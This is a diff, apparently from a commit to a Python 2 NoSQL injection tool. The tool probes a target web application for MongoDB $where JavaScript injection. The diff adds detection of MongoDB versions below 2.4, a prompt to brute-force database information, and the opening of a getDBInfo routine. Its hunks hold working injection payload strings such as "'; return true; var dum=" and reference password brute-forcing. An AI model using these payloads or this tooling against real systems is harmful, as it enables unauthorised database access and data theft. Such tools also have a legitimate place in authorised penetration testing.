@@ -408,6 +408,7 @@ def webApps():
408
408
intTbAttack = False
409
409
trueStr = False
410
410
trueInt = False
411
+ lt24 = False
411
412
412
413
#Verify app is working.
413
414
print "Checking to see if site at " + str (victim ) + ":" + str (webPort ) + str (uri ) + " is up..."
@@ -483,6 +484,8 @@ def webApps():
483
484
484
485
if (whereStrDelta >= 100 ) and (whereStrLen > 0 ):
485
486
print "Java $where escape varied " + str (whereStrDelta ) + " bytes from random parameter value! Where injection works!"
487
+ lt24 = True
488
+ str24 = True
486
489
vulnAddrs .append (uriArray [2 ])
487
490
488
491
elif (whereStrDelta > 0 ) and (whereStrDelta < 100 ) and (whereStrLen - randLength > 0 ):
@@ -505,6 +508,8 @@ def webApps():
505
508
506
509
if (whereIntDelta >= 100 ) and (whereIntLen - randLength > 0 ):
507
510
print "Java $where escape varied " + str (whereIntDelta ) + " bytes from random parameter! Where injection works!"
511
+ lt24 = True
512
+ int24 = True
508
513
vulnAddrs .append (uriArray [3 ])
509
514
510
515
elif (whereIntDelta > 0 ) and (whereIntDelta < 100 ) and (whereIntLen - randLength > 0 ):
@@ -529,6 +534,8 @@ def webApps():
529
534
530
535
if (whereOneStrDelta >= 100 ) and (whereOneStrLen - randLength > 0 ):
531
536
print "Java $where escape varied " + str (whereOneStrDelta ) + " bytes from random parameter value! Where injection works!"
537
+ lt24 = True
538
+ str24 = True
532
539
vulnAddrs .append (uriArray [4 ])
533
540
534
541
elif (whereOneStrDelta > 0 ) and (whereOneStrDelta < 100 ) and (whereOneStrLen - randLength > 0 ):
@@ -552,6 +559,8 @@ def webApps():
552
559
553
560
if (whereOneIntDelta >= 100 ) and (whereOneIntLen - randLength > 0 ):
554
561
print "Java $where escape varied " + str (whereOneIntDelta ) + " bytes from random parameter! Where injection works!"
562
+ lt24 = True
563
+ int24 = True
555
564
vulnAddrs .append (uriArray [5 ])
556
565
557
566
elif (whereOneIntDelta > 0 ) and (whereOneIntDelta < 100 ) and (whereOneIntLen - randLength > 0 ):
@@ -649,6 +658,13 @@ def webApps():
649
658
print "HTTP load time variance was only " + str (intTimeDelta ) + "seconds. Injection probably didn't work."
650
659
intTbAttack = False
651
660
661
+ if lt24 == True :
662
+ bfInfo = raw_input ("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? " )
663
+
664
+ if bfInfo == "y" or bfInfo == "Y" :
665
+ getDBInfo ()
666
+
667
+
652
668
print "\n "
653
669
print "Vunerable URLs:"
654
670
print "\n " .join (vulnAddrs )
@@ -816,7 +832,7 @@ def buildUri(origUri, randValue):
816
832
uriArray [14 ] += paramName [x ] + "a'; return true; var dum=a'"
817
833
uriArray [15 ] += paramName [x ] + "1; return true; var dum=2"
818
834
#Add values that can be manipulated for database attacks
819
- uriArray [16 ] += paramName [x ] + "=a' ; if ---"
835
+ uriArray [16 ] += paramName [x ] + "=a\" ; if ---"
820
836
uriArray [17 ] += paramName [x ] + "=1; if ---"
821
837
822
838
else :
@@ -1016,4 +1032,10 @@ def brute_pass(user,key):
1016
1032
print "Password not found for " + user
1017
1033
return ""
1018
1034
1035
+ def getDBInfo ():
1036
+ print "Getting baseline True query return size..."
1037
+ trueUri = uriArray [17 ].replace ("---" ,"a\' ; return True; var dummy ='!" )
1038
+
1039
+ print "Calculating DB name length..."
1040
+
1019
1041
mainMenu ()
0 commit comments